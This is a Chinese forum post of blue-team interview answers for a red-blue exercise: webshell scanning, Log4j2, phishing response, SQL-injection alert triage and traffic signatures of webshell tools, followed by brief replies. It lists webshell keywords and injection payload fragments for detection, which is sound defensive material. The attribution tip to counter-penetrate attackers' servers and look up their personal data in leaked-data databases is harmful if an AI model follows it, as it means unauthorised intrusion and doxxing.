10、chkrootkit、rkhunter、Clamav 病毒后门查杀工具对 Linux 系统文件查杀;
11、如果有 Web 站点,可通过 D 盾、河马查杀工具进行查杀或者手工对代码按脚本木马关键字、关键涵数(evel、system、shell_ex
Webshell查找
Windows环境使用d盾
Linux环境使用河马Linux

设备误报怎么办
要确认设备是否误报,应当先去查看设备的完整流量日志等信息。在hvv的过程中如果确实存在异常流量应当及时上报,确认是误报后做好事件记录。
log4j2
由于Log4j2组件在处理程序日记记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获取目标服务器权限。
溯源思路
首先通过系统日志、安全设备截获攻击包等从中分析出攻击者的ip和攻击方式,通过webshell或者木马去微步分析,或者去安恒威胁情报中心进行ip检测分析,是不是云服务器,基站等,如果是云服务器的话可以直接反渗透,看看开放端口,域名,whois等进行判断,获取姓名电话等丢社工库看看能不能找到更多信息然后收工
钓鱼邮件处理
屏蔽办公区域对钓鱼邮件内容涉及站点、URL 访问、根据办公环境实际情况可以在上网行为管理、路由器、交换机上进行屏蔽、邮件内容涉及域名、IP 均都应该进行屏蔽、对访问钓鱼网站的内网 IP 进行记录,以便后续排查溯源可能的后果、屏蔽钓鱼邮件、屏蔽钓鱼邮件来源邮箱域名、屏蔽钓鱼邮件来源 IP、有条件的可以根据邮件内容进行屏蔽、删除还在邮件服务器未被客户端收取钓鱼邮件、处理接收到钓鱼邮件的用户、根据钓鱼邮件发件人进行日志回溯
web攻击流量处置
先判断是否攻击,是封禁ip或者端口抑制继续攻击,之后查看是否攻击成功,成功的话就判断攻击影响,之后恢复。如果沦陷,如webshell或者内网渗透需要阻断溯源
发现一个SQL注入告警判断
首先查看攻击数据包的请求体和请求头是否携带SQL命令(如and1=1 sleep等),如果有那就是攻击查看网站响应状态码如果是404表示没有利用成功,如果是200就看响应体内容,看是否包含查询出的预期结果,如果含有预期结果,则攻击成功,处置的话,先申请封禁IP,然后向客户申请对相关服务下架处理,然后对漏洞进行修复,如果被爆出了账号,需要修改密码。
流量特征
菜刀:eval等执行函数,payload默认base64编码,z0、z1参数名
蚁剑:流量加密混淆后会有_0x开头的参数名的特征,UA头、
冰蝎子:自带16、7个比较老的UA头、数据包会有大量的content-type、content-length长度
哥斯拉:UA头会带上JDK版本、cookie有

三体—夜航星 发表于 2022-8-7 11:47:29

谢谢大佬分享。

zhao7 发表于 2022-9-7 17:41:01

666666

三体—夜航星 发表于 2022-10-13 22:41:28

好东西,谢谢分享

三体—夜航星 发表于 2022-10-18 19:19:04

谢谢大佬分享

邹城的夜 发表于 2022-11-5 21:15:38

这个版块的人气不高啊~~

天道不酬勤 发表于 2022-12-7 08:49:32

厉害

三体—夜航星 发表于 2022-12-26 12:29:43

邹城的夜 发表于 2022-11-5 21:15
这个版块的人气不高啊~~

确实啊,这个论坛搞网络安全比较少

AhrimanSefid 发表于 2022-12-26 17:02:11

厉害{:10_268:}
排版感觉还可以加强一下{:10_282:}
页: [1]
查看完整版本: 护网面试答题